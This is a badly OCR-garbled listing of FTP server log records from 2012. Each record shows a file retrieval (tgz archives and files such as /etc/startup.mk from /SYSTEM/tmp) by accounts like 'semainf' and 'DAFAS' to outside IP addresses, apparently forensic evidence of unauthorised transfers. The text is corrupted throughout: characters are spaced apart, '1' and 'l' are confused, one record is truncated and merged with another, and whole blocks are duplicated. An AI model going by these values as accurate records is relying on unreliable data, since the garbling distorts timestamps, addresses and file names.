1 8 ; 2 6 0 4 ; S ; ; ; ; F T P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 5 0 1 ; / s amp l e s / s t a r t up . mk 

T C P_FTP_SERVER_T_S Y 1 9  0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 3 . 9 0 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 3 . 0 3 ; 1 3 . 3 3 .  

0 3 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ tmp / ap t . t g z  

T C P  F T P_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 5 . 8 5 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 3 . 0 4 ; 1 3 . 3 3 .  

0 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ tmp / c i c s w s d l . t g z  

T C P  F T P  S E RVER_T_S Y 1 9  0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 2 5 . 0 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 4 . 2 5 ; 1 3 . 3 4 .  

2 5 ; 1 4 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S T EM/ tmp / a 0 / a op s t a r t  

T C P_ F T P_SERVE R_T_ S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 3 9 . 1 8 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; H ; 1 3 . 3 4 . 3 9 ; 1 3 . 3 4 . 3 9 ; 7 6 9  

; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S T E M / tmp / a 0 / c s f s t a r t  

T C P_FTP_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 5 0 . 8 1 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 4 . 5 0 ; 1 3 . 3 4 .  

5 0 ; 4 5 3 6 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM / tmp / a 0 / h w i s t a r t  

T C P_ F T P_SERVE R_T_SY 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 3 . 1 1 . 6 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 3 . 1 1 ; 0 2 . 2 3 .  

1 1 ; 1 6 3 8 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / . u . t g z  
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T C P_FTP_S E RVE R_T_S Y 1 9  0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 9 . 2 6 . 8 0 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE TR ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 9 . 2 5 ; 0 2 . 2 9 .  

2 6 ; 3 6 2 4 9 6 0 ; S ; ; ; ; F T P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / c i c s w s d l . t g z  

T C P_FTP_S E RVER_T_S Y 1 9  0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 4 . 1 8 . 8 3 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AVI Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 0 2 ; 1 1 . 1 4 .  

1 8 ; 3 4 2 8 3 5 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 7 0 / tmp / u . t g z  

T C P_FTP_S E RVER_T_S Y 1 9  0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 1 8 . 9 9 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AV I Y 3 5 4 ; I ; S ; F ; H ; l 1 . 1 4 . 4 1 ; 1 1 . 1 5 .  

1 8 ; 5 4 0 1 6 0 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / u . t g z  

T C P_FTP_S E RVER_T_S Y 1 9  0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 2 1 . 0 7 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AVI Y 3 5 4 ; I ; S ; F ; H ; 1 1 . 1 5 . 2 0 ; 1 1 . 1 5 .  

2 0 ; 2 0 4 8 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / s t a s h . t g z  

T C P_FT P_S E RVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 5 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 2 . 2 1 . 3 1 . 8 9 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; WAHS 0 0 6 ; I ; S ; F ; H ; 2 1 . 2 1 . 2 6 ; 2 1 . 2 1 .  

3 1 ; 1 5 7 2 4 8 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 5 4 2 8 ; / u / d 6 1 0 / r fvftp / l . t g z  

T C P_FTP_S E RVER_T_S Y S 3_ 0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 9 . 4 7 . 2 3 . 8 1 0 0 0 0 ; < C S >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 1 8 . 4 7 . 2 3 ; 1 8 . 4 7 . 2 3 ; 2 5 4  

l ; S ; ; ; ; FT P D 1 ; DAFAS ; 1 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 4 0 3 4 ; / e t c / s t a rtup . mk 

T C P_FT P_S E RVER_T_ S Y S 3 _ 0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

2 2 . 0 3 . 3 2 . 0 4 0 0 0 0 ; < C S >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 2 0 . 5 8 . 4 4 ; 2 1 . 0 3 . 2 8 ; 2 1 9  

6 6 3 0 0 ; S ; ; ; ; F T P D l ; DAFAS ; l 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 5 2 5 3 ; / S Y S TEM/ tmp / c t s 3 2 . t g z  

T C P_FTP S E RVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 8 . 3 7 . 2 4 0 0 0 0 ; < C S > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 7 . 5 1 ; 0 8 . 2 8 . 3 7 ; 8 3 2  

7 1 7 0 0 ; S ; ; ; ; FT P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / u . i t . t g z  

T C P_FTP S E RVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 9 . 2 3 . 7 5 0 0 0 0 ; < C S > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 9 . 1 0 ; 0 8 . 2 9 . 2 3 ; 2 1 7  

7 0 2 0 0 ; S ; ; ; ; FT : T C P_FT P_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 7 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 7 . 0 9 . 1 9 . 6 4 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; 1 6 . 0 9 . 1 8 ; 1 6 . 0 9 .  

1 9 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 1 7 8 . 1 8 . 2 4 3 . 2 7 ; 3 2 0 4 4 ; / tmp / apt . t g z  

T C P  F T P_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 9 . 2 8 . 0 3 . 1 1 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; 1 8 . 2 7 . 5 9 ; 1 8 . 2 8 .  

0 1 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 1 7 8 . 1 8 . 2 4 3 . 2 7 ; 4 6 9 2 7 ; / tmp / apt . t g z  

T C P  FTP_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 4 . 4 7 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 3 ; 1 2 . 4 5 .  

2 4 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / apt . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 5 . 7 2 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 4 ; 1 2 . 4 5 .  

2 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / c i c s w s d l . t g z  

T C P  F T P_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 0 6 . 1 8 . 7 2 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; S P RB I 0 1 ; I ; S ; F ; H ; 1 3 . 0 6 . 1 8 ; 1 3 . 0 6 .  

1 8 ; 2 6 0 4 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 5 0 1 ; / s amp l e s / s t a rtup . mk 

T C P  F T P_ S E RVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 3 . 9 0 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 3 . 0 3 ; 1 3 . 3 3 .  

0 3 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM / tmp / apt . t g z  

T C P_FTP_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 5 . 8 5 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 3 . 0 4 ; 1 3 . 3 3 .  

0 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM / tmp / c i c s w s dl . t g z  

T C P  FTP_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 2 5 . 0 4 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 4 . 2 5 ; 1 3 . 3 4 .  

2 5 ; 1 4 0 0 ; S ; ; ; ; FT P D 1 ; s em a i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM / tmp / a 0 / a op s t a r t  
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T C P_FTP_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 3 9 . 1 8 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; A S I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 4 . 3 9 ; 1 3 . 3 4 .  

3 9 ; 7 6 9 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ tmp / a 0 / c s f s t a r t  

T C P  F T P  S E RVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 5 0 . 8 1 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 4 . 5 0 ; 1 3 . 3 4 .  

5 0 ; 4 5 3 6 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/tmp / a 0 / hw i s t a r t  

T C P  F T P_SERVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 3 . 1 1 . 6 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 3 . 1 1 ; 0 2 . 2 3 .  

1 1 ; 1 6 3 8 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / . u . t g z  

T C P  F T P_SERVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 9 . 2 6 . 8 0 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 9 . 2 5 ; 0 2 . 2 9 .  

2 6 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D l ; s em a i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / c i c s w s dl . t g z  

T C P_ F T P_SERVER_T_S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 4 . 1 8 . 8 3 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 0 2 ; 1 1 . 1 4 .  

1 8 ; 3 4 2 8 3 5 0 0 ; S ; ; ; ; F T P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 7 0 0 2 ; / tmp / u . t g z  

T C P_FTP_SERVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 1 8 . 9 9 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 4 1 ; 1 1 . 1 5 .  

1 8 ; 5 4 0 1 6 0 0 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / u . t g z  

T C P_ F T P_SERVER_T_S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 2 1 . 0 7 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 5 . 2 0 ; 1 1 . 1 5 .  

2 0 ; 2 0 4 8 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / s t a s h . t g z  

T C P_FTP_SERVE R_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 5 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 2 . 2 1 . 3 1 . 8 9 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; WAHS 0 0 6 ; I ; S ; F ; H ; 2 1 . 2 1 . 2 6 ; 2 1 . 2 1 .  

3 1 ; 1 5 7 2 4 8 0 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 5 4 2 8 ; / u / d 6 1 0 / r f v f tp / l . t g z  

T C P  F T P  S E RVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 9 . 4 7 . 2 3 . 8 1 0 0 0 0 ; < C S >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 l ; ; ; RE T R ; S E Q ; NUS ; I ; S ; F ; H ; l 8 . 4 7 . 2 3 ; 1 8 . 4 7 . 2 3 ; 2 5 4  

l ; S ; ; ; ; FT P D l ; DAFAS ; l 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 4 0 3 4 ; / e t c / s t a rtup . mk 

T C P_FTP_S ERVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

2 2 . 0 3 . 3 2 . 0 4 0 0 0 0 ; < C S >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 l ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 2 0 . 5 8 . 4 4 ; 2 1 . 0 3 . 2 8 ; 2 1 9  

6 6 3 0 0 ; S ; ; ; ; FT P D l ; DAFAS ; l 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 5 2 5 3 ; / S Y S TEM / tmp / c t s 3 2 . t g z  

T C P_FT P_ S E RVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 8 . 3 7 . 2 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 l ; ; ; RE T R ; S EQ ; NU S ; I ; S ; F ; H ; 0 8 . 2 7 . 5 1 ; 0 8 . 2 8 . 3 7 ; 8 3 2  

7 1 7 0 0 ; S ; ; ; ; F T P D l ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / u . i t . t g z  

T C P_FTP S E RVER_T_S Y 1 9_ 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 7 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 7 . 0 9 . 1 9 . 6 4 0 0 0 0 ; < C S > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; l 6 . 0 9 . 1 8 ; 1 6 . 0 9 .  

1 9 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 3 2 0 4 4 ; / tmp / apt . t g z  

T C P_FTP_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 9 . 2 8 . 0 3 . 1 1 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; l 8 . 2 7 . 5 9 ; 1 8 . 2 8 .  

0 1 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 4 6 9 2 7 ; / tmp / ap t . t g z  

T C P_FTP_SERVE R_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 4 . 4 7 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S EQ ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 3 ; 1 2 . 4 5 .  

2 4 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / ap t . t g z  

T C P_FTP S E RVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 5 . 7 2 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; S P RB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 4 ; 1 2 . 4 5 .  

2 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / c i c s w s d l . t g z  

T C P_F T P  S E RVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 0 6 . 1 8 . 7 2 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE TR ; S E Q ; S PRB I 0 l ; I ; S ; F ; H ; l 3 . 0 6 . 1 8 ; 1 3 . 0 6 .  

